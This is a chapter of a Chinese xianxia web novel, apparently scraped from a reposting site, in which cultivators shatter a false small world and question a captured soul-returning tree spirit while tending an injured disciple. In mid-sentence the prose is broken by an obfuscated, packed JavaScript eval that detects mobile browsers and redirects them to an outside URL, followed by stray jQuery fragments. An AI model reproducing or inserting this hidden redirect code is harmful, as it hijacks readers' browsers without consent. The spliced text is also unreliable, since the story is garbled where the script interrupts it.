38. 吞日城(四)

作品:《摆烂师妹的黑化修仙手札

    天地逆转,互为表里的真假世界重合,假无咎苦心孤诣经营百年的小世界就此被他的猎物破掉。


    齐毓等人透过许令禾搏命撕裂的穹顶,或者说结界,突破表里山河进入里世界。


    这才出现了许令禾昏过去前的所谓幻觉。


    九州剑宽大的剑身将许令禾接住,他左手虚抱着她,长眉紧蹙着深深凝望小师妹短得像要遁入空门的头发以及她白骨裸露的手臂。


    齐毓忍住心头翻涌的怒气,唇角紧抿淡声嗤道:“真该让你照照镜子。”无声无息消失这么久,竟狼狈至此。


    境外的韦双靖和无咎在屏风前合力起阵,力图把小世界拉回现实。


    “你怎么连祖坟被人占了都不知?”韦双靖无需像无咎那般双手起决,她只需将天狐之力灌入屏风,神识联通境心即可。


    无咎双手忙得都快舞出风来,闻言他嘴唇嗫嚅了一下,又不敢顶嘴。只敢在心中默默反驳,这里怎就是我祖坟了…


    韦双靖是何人?愣头青的神色又怎瞒得过狐狸,她冷哼一声:“你既是明流玉的徒弟,此处便是你师祖长眠之地,说祖坟半点不为过。”


    无咎没有反应,韦双靖自然也就不再言语。此时破解境心已经到了关键之处,二人对视一眼无言中默契自生,一人牵引一人强锁。


    而屏风为界,表里两面的另一端。


    齐毓的右臂至今仍不能负重,只好左手托住许令禾,神识引动九州剑围困蠢蠢欲动的假无咎。


    不,此时已经不能称它为“无咎”。


    此境已碎再难重圆,它作为创造这个小世界的主人自然也遭受重创。如今许令禾以命相搏一举掀翻这个本不该再重演的熔炉,蒙蔽天道的屏障也被韦双靖和无咎破解。天道规则之力的反噬令它原地现形,象征神力的片片巨叶被无形之力无情地剥落。


    “莫!莫!莫!我生得灵智不易,求你,我求你!”


    它哀叫着向天道求饶,但仍不能减缓它树化的进程。魂骨树干似巍峨巨塔节节堆叠,繁茂粗壮的枝叶横斜伸展如巨型华盖,遮天蔽日。


    层叠翠绿间,依稀可见微光细闪,那是它掠夺的生机藏在叶下。异香漫至整个小世界,闻着似兰花又透着诡异的腐臭。


    “返魂树,世间竟还有一株。”齐毓一语道破其真身。


    返魂树乃上古神树之一,其香气能唤醒亡魂,传闻有使亡者复活之效。齐毓此前也只在家族典籍中窥见一二,不曾想竟能亲眼得见。只可惜……生来神物却走了逆途,做了恶事。


    它到了此等境地还要垂死挣扎,妄图冲破九州剑的封锁。可惜心有余而力不足,它的枝干将将碰上九州剑的残影便被其灼伤,高塔般庞大的树身摇晃,它低声哀求:“放我一道生路……”


    树枝无风自摆,祈求着眼前的玄衫客,能有七分像那个将它从秘境中带出的周殿主,那个心软的男人。


    无奈它赌错了,这人垂眸看它时,眸光像淬了冰的利刃,哪见半分可乘之机?


    齐毓紧了紧怀中有些滑落的许令禾,她瘦得只剩副骨头架子,硌在他掌心。这让他不由得心生烦躁,更添几分怒意。


    右手掐诀令剑阵拢紧,九州剑影中心的返魂树难耐地收缩自己的枝干,想要避开剑锋。


    “轰隆——”穹顶裂口突然扩大,似火烧纸卷般自许令禾撕开的地方向外蔓延,返魂树以魂力所筑的虛天化作灰烬簌簌落下。


    许是自知回天乏术,返魂树灵不再挣扎。它只低声哽咽着,深绿的叶片褪色变得枯黄,姿态之低,不知道的还以为是许令禾等人才是那十恶不赦的坏人。


    齐毓唤回九州剑,讽刺轻笑:“你是头一次才知道自己做了恶事么?还是有人逼你如此?”


    返魂树灵沉默不语。


    小世界的最后一丝魂力燃尽,此境被拉回现实。齐毓抱着许令禾落在真正的第七殿中,韦双靖双眼一亮,带着满面笑意迎上前却在看到他怀中人时笑容凝滞:“大师兄!小禾她……”未尽的尾音颤抖,透着深深的惶恐,同门殇逝之痛给每个玄灵宗人都蒙上不可触的心尘。


    齐毓单膝跪地,将人托在臂弯,这样她躺着更舒服些。他沉声答道:“她强行运转灵力,加之心魔反噬,已是强弩之末。我就没见过似她这般鲁莽,这般犟的人!”鸦羽低垂,他凝视许令禾瘦削的脸颊,世人看来可怖的雷纹在她脸上倒也显得没那么令人生厌。


    他至今无法想通自家师妹为何总是不怕死,近乎每一战都用尽全力去搏斗、去拼杀,玄灵宗遇袭夜且不提,可嵩原秘境包括方才同返魂树之战皆是如此…


    许令禾,你的道心何立?


    殿内气压低沉,无咎鼻子翕动被一阵浓香吸引,视线不由自主地飘向屏风曾立之处。


    那里巍然伫立着一颗参天巨树,虬结的枝干擦过殿内的鎏金梁柱,穿透大殿经年未修的琉璃瓦顶,在尘封已久却仍然庄严肃穆的殿宇里硬生生辟处一片野蛮生长的异境。


    好香啊……他从未闻到过这样的香味。无咎的双眼逐渐迷离,耳畔是朦胧的远古低语,他不自主地朝那颗巨树靠近。


    他伸出手,想要触摸它粗糙的表皮。


    “啊啊啊啊!”撕裂般的尖叫声骤起时,无咎的指尖已经触到树干粗粝的纹路。他猛地抬头,只见一柄红羽飞刀深深没入树身,刀身振鸣,木质肌理间一张人脸显现。


    那面容似笑如泣,厚唇大张着,尖叫正是从它喉中涌出,活像要将五脏六腑呕出来般凄厉。


    他赶紧后退几步,回身向贯出飞刀的齐毓长揖一礼,好悬着了它的道!


    齐毓斜了眼这看着不甚灵慧的少年,忍不住冷哼一声:“你是担心它吃不饱,竟要以身献树不成?”也不知明流玉是怎么教的。


    韦双靖见状颇感兴味地绕树一圈,她眼波流转一双狐尾悠悠晃动,高声问道:“这可是传闻那活死人肉白骨的返魂树?”


    返魂树?!无咎赤瞳圆瞪,他不知何为返魂树,但他听这个名字就知此非凡物,怎地师父没跟他提过?


    “嗯,可惜善恶不分,如今神力已失。”齐毓随口回道,他只手一挥扫开桌上散落的竹简,将许令禾置于其上。又从储物袋中取出件干净的道袍折了三折,垫在她的后脑。


    韦双靖虽敬佩大师兄,却也是第一次见他这般细致地照料人。当下也颇感新奇,目光直勾勾地看着大师兄的动作,嘴上却漫不经心地调


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553129|168613||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    侃道:“既是没了神力,那便是块废木头都不如,留着也是碍事,不若砍了给我…”


    停顿几秒,她悄悄瞥了眼默不作声的返魂树,特地拖长声音:“不若砍了给我,拿回去叫灵越师兄磨磨边角,权当给剑鞘作镶边使!”


    “我……我还有一颗吡魂果,对重塑道基有奇效!”返魂树灵深知自己的处境,如果不说些什么,这几个人许是真的会伐了它。它声嘶力竭地喊着:“区区经脉受损,食吡魂果可愈!可愈!”


    韦双靖瞟了眼齐毓的神色,见他不言不语,只低头擦许令禾手脸处的污渍便心领神会。她旋即低斥一声:“你那吡魂果不知吸了多少亡者的魂!哪里还用得?”


    “不是的!这一颗,是天域覆灭之前所结。我原是……原是…”它的语气忽地低涩。


    “我原是,要给周殿主的。”可他葬身于魔族之手,被绞了个粉身碎骨,它连出手将他从幽冥带回的机会都没有。


    周殿主?齐毓擦轼许令禾脸颊的手微顿,尘封已久的记忆重启,他脑海中出现一张总是肃容,显得有些古板的圆脸。


    他方才就在想,它能有如此能力去拟态一个小世界,那它至少在百年前就已生灵智,这个返魂树灵倒是有可能知道些什么关于天域惨案之事。


    还不待他出声询问,无咎便急急上前几步,喝问道:“你说的可是天域第七殿,周一?”


    “正是。”返魂树叹道。


    “可是你害死了他?!”


    “你与他有甚么渊源?”


    两道质问之声同时砸向返魂树灵,是齐毓和无咎。无咎身为徒孙,哪怕他从未见过天域逝去的列位祖师,但他是天域道统的延续,对祖师之死有天然的使命感。


    而齐毓的质问却不那么纯粹,更多是出于他背负着的,某个更深的秘密。


    双重压力之下,返魂树原本就脆弱的心彻底崩溃了。


    它的树冠剧烈摇晃,枯黄的叶片随动作飘落,它语气激动:“我没有害死他!天域惨案跟我没有任何关系!”几乎是吼出来的声音,夹杂着百年来的委屈、孤寂和不解。


    它的哽咽声回荡殿内,“我真的没有……是天域怀璧其罪。”


    三人的目光隔着空中四散的枯叶望向它,或讥讽、或质疑。唯有齐毓眼中闪过一丝了然,他唇角微微勾起,倒是不出他所料。


    而他们的身后,躺在桌上的许令禾长睫轻颤,双唇猛地张开深深吸了口气。


    齐毓闻声转头,跨步到桌边,温声唤道:“许令禾?”韦双靖见状也凑到齐毓身旁,毛茸茸的狐尾一甩一甩的,显露出她焦虑的内心。


    许令禾用尽全力摇头,耳际持续嗡鸣中她只看见齐毓的唇形在动。浑身无力,只觉得自己的胸腔好似被重锤猛击过,每一次呼吸都疼得让人难以忍受。


    这样的痛楚对她来说还是两世头一遭,生理泪水漫出眼眶,又从眼角滑落。


    “别怕。”齐毓覆上她完好的手,用力握住,轻声安慰着。


    说罢,他的眼神落到许令禾血肉模糊、露出白骨的手臂上,忍不住低声苦笑道:“这下好了,我们师兄妹二人都成了独臂,往后咱们这对残废倒省得互相嫌弃。”